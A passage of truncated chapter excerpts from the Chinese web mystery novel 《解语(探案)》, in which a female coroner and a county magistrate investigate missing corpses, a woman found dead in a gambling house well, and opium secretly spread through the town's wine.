月夕凝眉,明明他们将那两个还活着却不易挪动的打手留在了那里,怎地就不见了呢?难不成是那些杀手卷土重来了?这也说不通啊。 她看向王珏,一双清澈的眼神里满是不解,王珏自懂她意,道:“今日天色已晚,明日再去瞧瞧。” 月夕点头,“好。” 翌日一早,几人乘着马车再次回到了乱葬岗。 昨晚夜色浓稠,林中目之所及都仿佛被蒙上了一层黑色的阴冷浓纱,带着一丝乱葬岗特有的腥冷味儿。 而白日里却不同,揭开那层黑绸浓纱,面前也不过是片普通林子,没有什么阴风阵阵,只有普通的林木、灌木以及流落在林中四处大部分已经干涸的血迹。 月夕在昨晚躲藏的灌木丛旁站定,那些战斗的痕迹并未消除,血迹也还在,只是原本躺在林中的尸首都不见了,要不是那些痕迹还有残余,一时竟也无法分辨昨晚这里到底有没有过死人。 月夕蹲下|身,将所有痕迹都细细看了一圈,对方处理得很干净,除了那些处理不掉的血迹,她竟是什么都没看出来。 昨晚的那些尸体,就仿佛人间蒸发了一般。 查寻无果,众人打算坐马车回城,路过那日王珏遇袭之地,众人又停了下来,月夕下了马车又细细查看了一番,结果竟是比乱葬岗还要干净,像是从未发生过什么,就连血迹都没留下。 回到城里已经未时,月夕刚下马车便直奔七角巷,虽然她从衙门搬了好几块冰回来,放在顾宗的棺木里,但多时不看,总恐出差错。 好在时至深秋,天气渐冷,顾宗的棺木被月夕存得很是干燥,顾宗的尸体这才得以完好保存,再加上王阿爷时不时会过来,摆放顾宗尸首的堂屋也显得很是干燥干净。 月夕给顾宗上了柱香,随即又钻进了顾宗的屋子里。 屋子里的书架子上摆了好多书,有小部分是顾宗自己的,剩下的大部分都是顾宗要给她看的,只是这其中的大部分她都没看过。 她又拿起那本扉页上写着“丰之”的《草百毒》翻看了起来。 这本书里讲的大多数都是关于药草的一些药性,有的草药果实剧毒无比却可用自身根茎解毒,有的草药也是浑身有毒,却可在附近寻得解药,还有的可用于验毒,譬如金蓟乌兰,再譬如鱼草蕉、矛鱼乌等。 最终,她在最后一页停了下来。 这一页很是不同,似乎记载的是种植药草的记录,只是这药草并没有起名。 上半部分记载的是某个草药的细枝末节与生活习性,甚至还有适宜在春夏秋冬、何时何地种植最为合适。 下半部分则是用“天地玄黄”做了标记,每个标记后头记录的是这药草的毒性和药性,以及与各种草药搭配产生了一些作用。譬如眩晕、幻觉、失明、腹泻、疯癫等症状。 每条记录的最后一行,分别写了一个“解”字,“解”字的后头却是一片空白。 竟是无解! 也不知这是什么药。 翻过这一页,便再无内容,正当月夕疑惑为何结束得如此突然,定睛一看,却见最后一页竟是有被撕开的痕迹。 痕迹做得隐秘,却还是被她看出来了。 她拧了拧眉心,将书放回书架,又拿了几本书看了一会儿,大抵是心中太多疑惑,她还没看多久,便将那些书放回了原位,随即拿出了笔墨纸砚,开始坐在桌案旁梳理着这些日子所发生的事。 起初是彩蝶欲自赎未果,便收拾行李打算与人奔逃;再者是顾宗腹藏异物过度饮酒,死于回春堂门口;之后是于妈妈突然发疯,死于栖月楼暗器;再者是县尊三番五次遇袭,青龙帮楚邦帮主被气死,最后是消失的尸体。 这一桩桩一件件,似乎毫无关联,可若是细细品查,这其中又有千丝万缕的关系。 青龙帮盘踞黎阳县多年,是名副其实的地头蛇,而莫府又是兴海城城主的人,两边各自都掌控着一个码头,来来回回的生意不断。 虽然如今还不知晓栖月楼背后潜藏的金主是谁,但想来定也是与这两者脱不了关系。 而且青龙帮前帮主楚邦死的时间,太蹊跷了。 还有,与彩蝶一道奔走的人是谁?与顾宗喝酒的人又是谁?在栖月楼使用暗器杀于妈妈,又刺杀王珏的人又是谁? 又是一夜未眠。 翌日,快日晒三竿了月夕才迟迟起身,王珏给了她假期,她自是不会客气的,只是她昨晚想了一夜,总觉着这件案子还有好些线索未寻到,是以洗漱完,她便打算再去一趟栖月楼。 去栖月楼之前,月夕去巷口买了两只猪蹄和一壶酒,这几日她不在城里,家里承蒙王阿爷照顾,她既然回来了,自是要去看一看他老人家的。 刚走近衙门,她便被衙门口停着的那辆豪华马车吸引了注意,这马车有她平日里坐的那种马车的两倍不止,前头有四匹马,她虽不懂马,却也知道这些高大强壮的马匹是良驹。 马车旁还各自站着十几个人,那些人的额头上都戴着一块画着青龙的牛皮抹额,一看便是青龙帮的。 月夕蹙了蹙眉。 老王老远便认出了她,伸手招她过去。 月夕绕过那些人,走到老王身边,“王阿爷,这是怎么了?” 老王神神秘秘地将她往门房里拉,等确认外头的人听不到也看不到他们的行为对话,才压低声音,“青龙帮新帮主楚锋,一早过来,寻咱们县尊报案呢。” 一想起这几日与县尊在城外刨了楚邦的坟,还开了楚邦的棺,她心里一阵心虚,“报的什么案?” “说是有人偷了青龙帮前帮主楚邦的尸首。” 月夕一脸惊疑,“偷尸?” 楚邦的尸首又有什么好偷的?除了保存相对完整之外,他的尸首上并没有旁的可疑之处啊! 她心里一个激灵,城外乱葬岗以及城外官道上消失的尸首,说不准也是被偷了呢…… 可是凶徒为何要偷尸? 她想不通。 月夕看了看衙门口的那辆豪华马车,思考了一会儿,随即将猪蹄和酒放下,“王阿爷,我去寻县尊。” “慢着。”老王拉住她,“这会儿县尊怕是在招待楚 22. 第三股势力 《解语(探案)》全本免费阅读 王珏正坐在内衙的花厅里等她,此时他穿着一身浅蓝色的常服,用一枚白玉簪子将长发在脑后挽了个髻,乍一眼看过去,仿若一个掉落在人世间的谪仙。 一阵微风轻轻拂过,吹散了他面前茶炉袅袅升起的青烟,他微微低眉,又往炉子里填了几块炭火。 他似乎很喜欢喝茶,月夕想。 那劲装女子将她引到花厅,眨眼功夫便消失了,在看过竹心的功夫之后,月夕倒也没有那么地诧异,只顿了顿,便走近前去。 “县尊。” 王珏抿唇一笑,“正要去寻你,听闻你已经来了,便让飞燕去叫你,她可吓着你了?” “不曾。”月夕摇头,“她叫飞燕?” “是,她武功不如竹心,却善于追踪与轻功。”王珏请她入座,“是自小跟在我身边的暗卫。” 月夕这才觉着震惊,这王珏对她也太信任了些,竟连身边的暗卫是谁,长什么模样都告诉她,怪不得城外遇袭时他一点都不慌,原来是暗中有人护着。 “她刚回来。”王珏似乎猜到她所想,道,“今后会一直在。” 月夕点了点头,哦了一声。 茶水已经煮开,王珏将调配好的茶叶放了进去,又往里头洒了一些盐,“方才楚锋来过,不防猜猜他来做什么。” 话刚说出口,他忽然意识到有些不对,明明她什么都不记得了,明明如今她只是仵作,可他还是会不自觉地想要与她讨论案情。 月夕倒是没那么多顾虑,几乎是脱口而出,“示威?” 王珏将茶盏轻轻放在她的桌案上,抿唇不语。 月夕想了想,又道,“难道是求和?” 王珏的唇角微微扬起,终于开口,“是,也不是。” 他从袖袋中拿出一枚戒指,正是那晚在楚邦墓前捡到的,“可还记得这个?” 月夕点头。 “这是方才楚锋身边那个女子的。”王珏道,“那女子原先是楚邦的妾室。” 月夕恍然,怪不得老王说那女子又是楚锋抢的。没成想他竟抢的是自己亲兄长的妾室! “楚邦是楚锋气死的?”月夕问。 王珏紧抿着唇,轻轻嗯了一声,“可能性很大。” 月夕捧起茶盏,轻轻地抿了一口,这回的茶竟是带着清香的,味道倒也不差,“县尊接了楚锋的案子?” 王珏微微颔首,“身为一县父母官,自是要为百姓办事,青龙帮也算得上是黎阳县的百姓。” 月夕却不这么认为,“县尊应该还有别的打算。” “终是瞒不过你。”王珏眼带笑意,“我怀疑黎阳县兴许不止莫府与青龙帮这两股势力,暗地里还有第三股。” 这倒是与月夕不谋而合,莫府背后的兴海城与青龙帮都没有这么大的胆子,公然抗旨暗地里运作禁|药阿芙蓉,除非他们背后有人撑腰。 月夕微微颔首,“楚锋此人刚愎自用,狂妄自大,及不上楚邦万一,倒是个缺口。” 她顿了顿,“那……那晚验尸……” “他不知晓。”王珏眯了眯眼,“有人瞒着他。” 月夕恍然,“若是这般,此案也渐渐清晰了些。” 王珏认真地看着她,“愿闻其详。” “于妈妈兴许与这第三股势力做了交易,手头才有了阿芙蓉,原本一切按部就班,谁想彩蝶竟要自赎。彩蝶乃栖月楼花魁,若她走了,栖月楼便会少一大笔进账,是以于妈妈才不允她自赎,彩蝶的死,将沉在暗处的阿芙蓉掀在众人眼前,幕后之人怒而杀了于妈妈,并顺便给县尊一个警告。我阿爷他……兴许早在给彩蝶验尸时猜到了那幕后之人,结果却死在了回春堂外。只是……” 她微微抬头看向王珏,“我询问过看守城门的,近半个月以来,都没见过有可疑之人出入城门,似彩蝶这般的花魁,更是没见过。那她又是如何出现在城外的?” 王珏神色暗了暗,“我已派人沿河调查,想来不出几日必定有结……” 还未说完,捕头林修一脸慌张地跑了进来,“县尊。” 王珏放下手中杯盏,理了理衣袖,轻抬眼皮,正色道,“何事?” 林修看了眼坐在一旁的月夕,随即道,“兄弟们在岔子河上游发现了一些线索。” “前些日子连日大雨,岔子河水位上升,导致河边田地山林被淹,这几日雨歇,河水水位下降,便将暗河道漏了出来。” 林修怕王珏不懂,连忙解释道,“早年间黎阳县的土壤还很富裕,百姓们便沿河开垦了好些田地,为了引水入田,百姓们便在岔子河里凿了一条暗河道,用于灌溉之用。只是百年前那场旱灾,却将那些田地给荒废了,再后来,北方扶绥闹水灾,硬生生将水引入岔子河,这才使得如今的岔子河有了两个上游。” 他很是无奈地暗暗叹了口气,“若非如此汹涌的上游,黎阳县大部分的土也不会被冲走形成如今这副模样了。” 月夕刚来时也觉得黎阳县很奇怪,明明隶属江南道,临水而居,地里的石头却比泥土多,原来是这个缘故。 “如今那条暗河道可还用着?”王珏问。 林修道:“早就不用了,如今黎阳县设有码港,早已不靠土地过日子了。” 王珏转而看向月夕,“可有兴趣去瞧瞧?” 月夕将杯盏轻轻放下,微微点头,“兴许这便是彩蝶突然出现在城外的原因。” 远处的苍穹有几朵乌云飘过,又是下雨的征兆,月夕暗暗叹了口气,轻轻放在车帘。 马车很快便在城外的一个林子前停了下来,月夕跳下马车,环顾了一圈,也不知道为何,她总觉着空气中弥漫着一丝莫名的危险气息。 月夕快走几步,跟上王珏,用只有两人才能听到的声音问,“飞燕呢?” 王珏朝她斜了斜身子,唇角微微一勾,“在后面呢。” 月夕这才暗暗舒了一口气,又道:“这林子是岔子河的上游,之前我曾来查看过,并无什么异样。” 王珏望了望天,道,“下了一个多月的雨,忽然放晴,自是有所不同,且看看那暗河道到底是个什么名堂。” 月夕点点头。 两人跟着林修走进林子深处,直到有水流声传来,月夕朝里头望了望,不远处的河边站着好些个捕快衙役,想来那里便是暗河道的入口。 又走了一段路,两人终于到了河边。 河道里的水位果然浅了许多,岸边长着的那些被水淹了将近一个多月的草木也渐渐冒出头来,有的仿若得了新生,有的却是奄奄一息。 此处距离发现彩蝶尸首的地方隔了一里,水流的速度却是缓和了许多,周围四处都是已经开垦过却荒废甚久的田地,久到那些田地里泥土缺失,只留石质,而那些石质缝隙中却早已长出林木。有的手臂粗细,有的却长成了单人合抱的程度了。 田地虽已荒废,但从隐约的纵横阡陌 23. 女尸 《解语(探案)》全本免费阅读 那粉色的小小身影正想要往他们走来,却被身边的纳兰羿猛地一拉,“老实些!不然腿废了我也不医了!” 苏兰撇撇嘴,只好老老实实地坐在那里,直到纳兰羿为她处理好伤口,才一瘸一拐地扶着纳兰羿的手臂,朝月夕和王珏处走来。 她上来便十分亲昵地拉起月夕的胳膊,咧嘴笑了起来,“月夕姊姊,我好想你呀!” 月夕还不大习惯她的亲昵,可看她一瘸一拐的样子,便也勉为其难地站在那处一动不动,任由她拉着。 王珏斜睨了她一眼,语气淡淡:“听闻昨日苏朗在梨花巷为你盘下一个纺织工坊?” 苏兰点点头,笑容更加灿烂,“是呀,没想到小小一个黎阳县,租金竟是比京城还要贵,我阿兄一怒之下,便将那工坊买下来了。” 说着她朝月夕眨了眨眼睛,“月夕姊姊,改日我给你做衣裳好不好?” 月夕正欲为难,却听王珏道,“你月夕姊姊是衙门仵作,不适合穿成你阿兄那般。你们来这里作甚?” 在衙门里做事的人,衣裳都有固定的制式,苏兰想了想,觉得他说的有些道理,只好将这个想法暂时放了放,回答道,“羿哥哥说出来寻几味药草,我正好也想出来寻一寻染料,便跟着羿哥哥一道出来了。” 黎阳县的土质说来也是奇怪,县城里的那些土质长出来的药草效力远比不上城外长的,还有一些药草只在这一片山林里才有,其他地方,即便是环境类似,都长不出来。 纳兰羿向王珏抱拳一礼,“近日在回春堂接诊了几个病人,手臂上、肩颈、背上皆有不同程度的肌内瘀伤,询问他们日常的吃食,却并无异常,县尊,此事我觉深有蹊跷。” 王珏眯了眯眼,“都是些什么人?” “老弱妇孺。”纳兰羿道,“甚至路边的乞儿身上也有,只是他们的程度不深,但若再这样下去,不出三年,恐……” 纳兰羿不再说话,但他的下半句在场众人都听出了端倪。 月夕蹙了蹙眉,“听闻阿芙蓉有解药?” 纳兰羿点头,“阿芙蓉是一种麻痹身体经络的药草,本身无解,但若有药能中和其药性,便能刺激人体对其抵抗,从而抵消对其的依赖性,可如今那东西不知被改良了多少回,药方恐也有十几二十张,解药一时半会儿怕是难调。” “这么说,还是有解的。”王珏道,“若有阿芙蓉在手,纳兰医生可能制出其解药?” 纳兰羿考虑了一会儿,点了点头,又摇了摇头,“可解,但难。” 倒也不是纳兰羿故意拿乔,如今流落在市面上的阿芙蓉品类多样,有的甚至加入了非常稀有的药材,若单单解阿芙蓉的药性倒也简单,但若是要解开其他药材的药性,首先要知晓混入的到底是何药物,其次还要找寻到那药物的破解之法。 所以虽说可解,解法却如大海捞针。 “县尊!月娘!” 众人正唏嘘着,不远处传来了一个熟悉的声音,月夕转身看过去,竟是跟在楚括身边的小捕快陆一。 陆一几乎是上气不接下气地跑到王珏面前,普通一声瘫跪在了一旁的青草堆里。 “县……县尊,如意……如意赌坊……赌坊出事了!” 如意赌坊是楚锋新开的赌坊,位处胭脂巷对面的擎天坊内。 王珏与月夕对视了一眼,问道,“发生了何事?” “就在……在半个时辰前,赌坊后厨……后厨的井里,发现了一具……一具女尸!” 一听到女尸二字,苏兰的眼睛突然亮了,她平生最羡慕崇拜的便是如月夕这般能靠自己手艺过活的人,特别月夕还是个女子! 如今好不容易碰上了,她真想看看仵作是怎么做事的。 于是乎,她毫不客气地跟着月夕钻进了王珏的马车,并以行动不便为由紧紧拉着月夕不放,免得被赶下去。 不过半个时辰,马车便驶进了擎天坊。 刚进坊门,便迎来了一片非常热闹又喧哗的场面——街道上有三拨人正打得不可开交。 坐在车辕上的陆一连忙解释道,“如意赌坊对面的酒楼与青楼都是莫府的,赌坊的人认为那女尸是莫府的人干的,要去寻莫府的人要说法,莫府的人觉着是青龙帮故意找茬,于是双方一言不合便打起来了。” 街道上的好些店面也因此关了门,有些店面设了二楼,此刻楼上几乎站满了看热闹的人。 衙门里大部分的捕快都被林修带去了城外,城里只剩下几个巡街的,众人刚下马车,便看到浑身是伤的楚括与几个弟兄在极力劝架。 人群中不知是谁喊了一句县尊来了,那群人像是哪里的阀被打开了,手里打架的动作更狠了些,楚括身边的一小个捕快深受其害,后脑被重重一击,竟是直挺挺地倒在了地上。 王珏蹙了蹙眉。 正此时,一个如燕般的身影自上而下忽然闪现,仿佛生了一双翅膀,也不过眨眼功夫,那身影便一下制服了双方那个领头之人。 霎时间,街道上一片寂静。 两个领头者想要挣扎,四肢却不知在何时被绑了个严实,两人正要大喊,嘴里也随之被各自塞了两块破布。 情势立即被控制住,纳兰羿这才走进人群开始为受伤之人诊治。楚括见来人,也不顾身上的伤,连忙跑过来,“县尊!” “发生何事?”王珏问。 楚括将经过细细道来,“一个时辰前,小的在附近巡街,忽得听闻如意赌坊后厨井里发现一具女尸,赌坊掌柜认为是秦娥楼所为,便打上门去,不远处的水仙酒楼见状,便带了人出来,于是就……就打了起来。” 月夕朝街上望了一眼,这条街是黎阳县里最繁华富有的街道,从前一直都是莫府的地盘,秦娥楼位于街左,后楼便是岔子河上游,每晚都有画舫游于河上,与楼里的娘子们调笑。 如意赌坊处于街右,占据了这条街上四五个铺面,正处秦娥楼正对面,派头与占地丝毫不相输,联想到两家背后东家的关系,如此两两对望,乍一看,确实有一丝挑衅的意味在里面。 场面被控,月夕近前半步,问:“尸体在哪儿?” 楚括道,“在后厨呢!我见外头的人都打起来了,就找人看好尸体,再让脚程最快的小六去寻县尊,幸好赶上了!” 月夕微微颔首,“好。” 她正欲进门,刚迈出半步,又仿若想起了什么,回过身来看向王珏,“县尊……” 王珏点头,“方才已让陆一去拿工具箱子,这会儿该到了。” 话音刚落,陆一的身影便出现在了街上,他虽还是气喘吁吁的,但手里的东西却拿得极其稳当,“县尊,拿来了!” 看到陆一手里那个比自己更精致小巧的工具箱子,月夕咦了一声。 24. 死因 《解语(探案)》全本免费阅读 尸体检查完毕,为了稳定情绪,月夕破天荒地问王珏要了杯茶。 好在对面秦娥楼旁边有一个茶楼,王珏命人在那儿备了些茶具,竟是亲自给她煮了茶。 茶杯的温热在手心慢慢展开,月夕这才觉得自己的心暖和了不少。 她将杯中的茶一饮而尽,才道,“我认识她。她是胭脂巷里的瑜娘,她阿爷赌输了,便将她拿去抵了债,我亲眼见她被青龙帮的人带走。” “何时?” “阿爷被害后不久,我去胭脂巷找凌师傅问彩蝶身上纹绣一事,正碰见了。”她将杯盏往他面前送了送。 王珏再给她倒了一杯,“她与彩蝶……” 袅袅的茶香在茶室里散开,月夕点了点头,“几乎一模一样。” “县尊既然来了,也不去我那儿坐坐,这也忒不给我面子了吧?” 两人还未说完,楚锋拉着他那位新娶的夫人,走进前来,在一旁的空位上坐了下来。 “哟,这不是顾老头的女儿么?听闻当仵作了?啧啧啧,要我说,这身段这气质,当仵作是真的可惜了。”楚锋边说着,边将身边的女子拉进怀中,用力揉着女子的胸,又冲她调笑了几句。 月夕对其视而不见,只自顾自地又抿了口茶,王珏却是神色渐冷。 他轻抬眼皮,眸色很深,“楚帮主今日好兴致。” 楚锋冷笑一声,丝毫不给王珏面子,“哪儿有县尊这般清闲,千里迢迢来擎天坊喝茶,如今茶也喝了,尸体也看了,县尊这是想要从我青龙帮拿人了?” “哦?”王珏放下杯盏,“楚帮主的意思是,杀害瑜娘的凶手是你们青龙帮的人?” 楚锋眉心微蹙,眼底冒出一丝冷意,“王县尊,茶可以乱喝,话可不能乱说。” 他站起身来,毫不客气地居高临下瞪了王珏一眼,“青龙帮的事,自有青龙帮的人来解决,我劝县尊还是窝回县衙去歇着吧。” 说着,他转身便走了。 正此时,一个黑影仿若一片树叶般从梁上落下,点地无声。 “郎君,半个时辰前楚锋收到一封信。”飞燕将信递了过去,“楚锋看完信,很开心。” 王珏眯了眯眼,将信摊开,上头只有两行字:九月初二,□□。 他将信递给月夕,“看来那人坐不住了。” 月夕看了一眼,眉心微蹙,“九月初二是兴海城的拜神节,届时无论是陆路还是水路都会很热闹。” “热闹才更容易浑水摸鱼。”王珏看向飞燕,“吩咐楚括,把人撤了。” “瑜娘的尸首,我还验吗?”月夕抬头望着他,目光依旧清澈。 王珏微微颔首,“既然有尸首,那自然是要验的。” 月夕点点头,“好。” 不过半刻钟,擎天坊又热闹如往昔,甚至比平日里更热闹了些,如意赌坊的命案仿佛一片浮萍跌入了大海,连浪都掀不起来,悄无声息的,不过瞬间便消匿了。 县衙殓尸房内,烛火劈啪作响很是热闹,而月夕却站在尸首旁一动不动,像是在思考又像是在沉思。也不知过了多久,就连门口站了一个人都没察觉。 王珏站在门口好一会儿,直到冷风乍起,才走进屋子,将手里的披风小心翼翼地披在了月夕的身上。 月夕醒过神来,慌忙后退几步,直到瞧见来者是王珏,才松了一口气,“县尊怎么来了?” 王珏紧咬下唇,“来看看你。” 月夕几乎是冷漠地点了点头,随即收拾好工具箱子,“瑜娘的验案还未写好,怕是要明日……” “不急。”察觉到月夕明显的疏远,王珏的心尖像是被什么东西拧了一下,生疼。 “你可是在怪我故意放过楚锋?” 月夕摇头,“县尊所为自有县尊的打算,而且,瑜娘她……” 她顿了顿,“瑜娘她被青龙帮带走之时,便注定不可能好好活着了。” 王珏眼底闪过一丝诧异,却听月夕道,“黎阳县并不像表面看上去那般平和,被卷进暗流的人,下场最好的也不过是去秦娥楼、栖月楼那些地方,至少在那些地方还有条活路。” 她说的很是平静,像是久旱无雨的天气里,隐约吹起一丝平静的风,毫无波澜,却丝丝如刀,每一刀都沾着鲜红的血迹。 “几年前县里也发生过几起失踪案,其中一起,家中姊妹两个,失踪了一个,意外溺死了一个,死的那个是阿爷验的。” 她说,“阿爷验得死的那个与青龙帮有关,可验完后便再无下文了,再后来,为平民愤,楚邦帮主出面,给了那些失踪家庭好些抚恤。自那之后,那些案子便不了了之。” “阿爷也曾暗中查过,但所有线索仿若凭空消失了一般,根本没了下文。相比较之下,”她微微抬头,看向王珏,“秦娥楼与栖月楼里的那些姑娘们,至少还活着。虽然……” 虽然有时候活得生不如此。 她从桌几上拿了一包白叠布,递了过去,“这是我从瑜娘身上发现的东西。” 王珏打开一看,用布包着的,竟是几片残叶。 “这是翠碧草,外用止血化瘀,内服消除积食,是一味极其常见的草药,但却只有城外河边才有。”她淡淡道,“我是在瑜娘嘴里发现的,她死前,疑似去过城外。” “疑似?” 月夕点头,“这东西似是有人故意放进瑜娘口中。可我却又从瑜娘的指甲里发现了一些带着翠碧草碎叶的河泥,这足以证明她去过城外。除此之外,便再无可疑之处了。” 说着,她理了理衣裳,准备离开,王珏下意识地挡在了她面前,月夕微微一愣,抬头疑惑地看着他。 王珏瞬间脖子一红,随即后退了半步,他想解释,可不知从何开始。 月夕顿了顿,才道,“县尊有大局,可小女只是一个仵作,阿爷说,仵作是替死者说话之人,不管如何,还望县尊莫要忘了替枉死之人伸冤。” 说完,她大步往外走去。 直到走出县衙,月夕方才闭塞的气才舒了舒,她知道如今县尊无法动青龙帮,也无法动莫府,可眼看着那些人在眼皮子底下残杀无辜之人,她终是不忍。 月色正浓,黎阳县衙门口的所有道路都隐没在了黑夜之中,路上无人。 微微的冷风轻抚上月夕的面庞,惹得她手上灯笼里的灯烛也跟着晃了晃,她定了定神,朝回春堂的方向走去。 此时的回春堂虽关了半扇门板,里头却灯火通明,月夕正要敲门,正好迎面撞上了来关门的阿布。 阿布微微一愣,“月娘,你这是……来瞧病啊?” 月夕摇头,“纳兰医生可在?” “在!”阿布连连点头,“这会儿在后院呢,你且先进来 25. 酒 《解语(探案)》全本免费阅读 这句话犹如晴天霹雳,冲着在场众人的脑门上劈了下去,尤其是月夕,更是不可置信,“当真?” 纳兰羿道,“今日在场之人,能看的我都看了,他们体内阿芙蓉的浓度虽弱,但症状却很是明显,尤其是身上深浅不一的瘀痕,有些虽已大好,却依旧留下了一些不深不浅的痕迹。” “阿芙蓉可是毒啊!”苏兰不由地惊诧出声,“到底是谁在卖这种药!” 苏朗常年舒展的眉心也紧紧拧了拧,“若当真如此,那黎阳县不就是个大毒窟了吗?” 月夕定定地坐在那儿,好一会儿,才道,“纳兰医生可有解法?” 纳兰羿摇头,“还是那句话,难解。” 正说着,他似是想到了什么,一把夺过月夕的手,右手三指合并搭上了她的脉,许久,他的神色变了变。 月夕似是猜到了什么,问道,“如何?” 纳兰羿想了想,猛地起身冲进身后的屋子,好一会儿,他才从里头出来,手里多了一个瓷瓶。 “喝了它。”纳兰羿将瓷瓶递给她。 月夕蹙了蹙眉,但还是接过瓷瓶,一饮而尽。 苦涩和酸涩的药水刮得她的喉咙生疼,但不一会儿,她体内一直存在的莫名躁动被安抚了好些,大脑也清明了不少。 “这是?” “解药。”纳兰羿道,“我研制了十年,终得这么一瓶。” 苏兰与苏朗的神色都微微一僵,苏兰道,“羿哥哥,你说月姊姊她也……服了阿芙蓉?” “兴许是无意间服食的。”纳兰羿道,“好在服的不多,我这解药还有些效用。白日里所诊之人,至少服食了十五年以上,根深蒂固,我研制的方子怕是没什么用了。而且看他们的样子,像是少量多次服食多年形成了习惯。” 少量多次,服食多年…… 月夕细细回想着这些年的吃穿用度和生活习惯,除却醒来前一年,她被顾宗逼着喝一些苦药之外,之后的四年里,她的日常生活也算正常,每日每餐都按时吃饭,偶尔还会和祖宗一道吃顿猪蹄,除此之外,便再没旁的吃喝,很是干净。 可即便如此,她竟也在无意之间服食了阿芙蓉,这只能说明,她日常的吃喝有问题。 拜别纳兰羿一干人等,月夕赶紧回了七角巷,点亮堂屋的灯后,她走到了顾宗身前。 顾宗的尸首被保存的很好,这几日除了部分腐烂之外,便再没什么其他的变化,她看了好一会儿,随即翻开他的衣领与衣袖,再次细细检查了一番。 结果依旧是,顾宗很正常,并没有服食阿芙蓉的迹象。 月夕有些懵,为何? 按理说,她这些年与顾宗同吃同住,生活习惯也相近,她沾上了阿芙蓉,那顾宗自也不例外。 可顾宗却是好好的。 为何? 月夕忽然一个激灵,是酒!顾宗好酒,而她不是。 可黎阳县里好酒的人多得是…… 月夕再一次一夜未眠。 翌日一早,她早早起身去了衙门,今日她并未先去应卯,而是径自去了门房。 老王彼时正端着一碗羊肉泡馍喝着,见月夕过来,慌忙起身要给她盛一碗。 月夕二话没说,一把躲过老王手里的家伙事儿,并顺势搭上了他的脉,不过几息,她的眉心又皱了起来。 “月儿,你这是……” “王阿爷,你的酒呢?” 老王不明所以,但还是转身将桌子上的那壶酒递了过去,“这酒……有问题?” 月夕接过酒,闻了闻,又拿了杯子倒了些,浅喝了一口,跟顾宗平日里喝的酒一个味道。 “月儿,你这是……” “王阿爷,平日里你除了喝酒吃肉,还吃些什么?” 老王被她问得莫名,但还是道,“老头儿平日里也没什么旁的嗜好,除了酒肉,衙门里吃什么,我便吃什么。” 他关心道,“月儿,你老实同阿爷讲,到底发生了何事?” 月夕摇了摇头,“只是查案子时生出了些许的疑惑,王阿爷,我阿爷平日里除了喝酒吃肉,还喜欢吃些什么?” 老王摇头,“老顾这人你也知道,平日里就喜好喝一口,但自从诊断出脏器出了毛病,便将酒给戒了,旁的也没什么了。” 月夕有些焦急,“王阿爷,你再细细想想。” 老王被她问得紧张了起来,索性坐下来想了又想,见实在想不出,便索性顺手拿了桌子上的酒壶,咕咚咕咚灌了几口。 “有了!”他猛地拿来酒壶,“我想起来了,起初,他一时半会儿戒不了,实在忍不住了半夜起来会偷偷喝几口,可又怕再次伤身,便央了老杨,给他酿了些药酒,熬不住时便喝上一口解解馋。” 月夕恍然,怪不得那段时日,顾宗即便不喝酒了,腰间的酒壶也不离身,她当是他常年的习惯,没成想是因为这。 “王阿爷,那药酒你也喝吗?” 老王摇头,“老杨倒也给了我一些,只是那药酒一些酒味儿都没有,我喝了几口就不喝了。” 老王神色微沉,拉住月夕,“月儿,可是寻到了什么新的线索?” 月夕点点头又摇了摇头,“只是案子上还有些疑惑。” 老王道,“查案子是县尊捕快们的事,你答应阿爷,千万莫要去插手!凶徒可都是穷凶极恶的!” 月夕脑子里想的都是药酒,口中连连称是。 见她乖巧应答,老王这才放心放她出门。 拜别老王,月夕扭头应了卯,随后便匆匆跑了出去。 鸣虫巷距离七角巷不远,月夕顺路买了些糕点,在鸣虫巷里一个长着杏树的院子前停了下来,时至深秋,杏树上的叶子早已泛黄,有一些竟还随着风飘落在外头的巷子里。 月夕深呼吸一口气,敲响了院门。 “谁呀?”院子里传来一个老妪的声音。 月夕道,“阿姆,是我,月夕。” “是月儿啊,快进来,门没锁。” 月夕应声轻轻推开门,入眼的便是院子里大大小小各式各样的酒坛子,一股淡淡的酒香随之而来。 廊下躺椅上,一个身着浅蓝布衫的老妪正要起身迎上来,月夕慌忙跑上前去,“阿姆别动。” 吕氏笑着摆了摆手,“傻孩子,阿姆可没这么娇气,快来我这儿坐。” 月夕应了一声,将买来的糕点放在吕氏面前的桌几上,“阿姆,杨阿爷呢?” “他这会儿该是在酒铺子里吧,你寻他可是有事?”吕氏亲昵地拉起她的手问。 一阵微风拂过,带着满院子的酒香扑鼻而来,月夕蹙了蹙眉,随即三指并拢搭上了她的脉。 吕氏常年卧病,自是知道月夕在干什么,于是也配合得闭上了嘴,任由她给她搭脉。 好一会儿,月夕才一脸沉郁地停了下来。 吕氏知晓自己的病况,看到月夕的神情,更是确定了自己的猜测,于是她大方道:“是不是越来越不好了?” 月夕眨了眨眼,摇头道,“阿姆精神不错,但需好好修养才是。” 吕氏蹙眉,“没别的了?” 月夕点头,“没别的了。” 吕氏将她的手放进手心,轻轻拍了拍:“月儿,阿姆可是把你当亲闺女看呢,你可莫要诓阿姆啊!” 月夕微微抬头,清澈的眼神看向吕氏,“我说的皆是实话,阿姆身体在康健中。不知……” 她顿了顿,环顾了一圈,“不知阿姆最近吃的什么药?” “左不过都 26. 暗道 《解语(探案)》全本免费阅读 据说过几日拜神节,回春堂要推出一款拜神汤,是以好些百姓都来凑热闹,让本就热闹的回春堂又热闹了几分。 月夕是好不容易从那些看热闹的百姓的缝隙里挤进去的。 纳兰羿依旧躲在后院研制着药方,听闻月夕给他带了坛药酒,连忙放下手里的物什,将酒接了过去。 药酒的酒味不是很浓,但纳兰羿接过之后,神色却有些凝重。 “敢问可有方子?” 月夕摇了摇头,那是杨阿爷的祖传方子,岂能如此轻易给了旁人。 纳兰羿耸了耸肩,月夕继续:“知悉,我阿爷、杨阿爷和吕阿姆在黎阳县生活了二十几年,甚至更久,身体却并无服食阿芙蓉的现象,是以我猜测与这药酒有关。” 她顿了顿,“纳兰医生可能从中寻得解药之法?” 纳兰羿捧着酒坛子又细细闻了闻,紧蹙起眉,“给我些时日。” 说完,他也顾不上她,直接扭头往旁边的屋子里走去。 月夕暗暗舒了一口气,抬头望了望,今日天气尚好,也不知晚上的夜色如何,她站在院子里思考了好一会儿,便从没什么人的后门离开了。 回衙门后,她便开始着手写起了瑜娘的验案,起初月夕觉着彩蝶的死是普通的他杀之案,直到看到瑜娘,她才觉得,这几日的案子,恐怕是一系列的。 更甚至瑜娘的死,还带着些挑衅的意味。 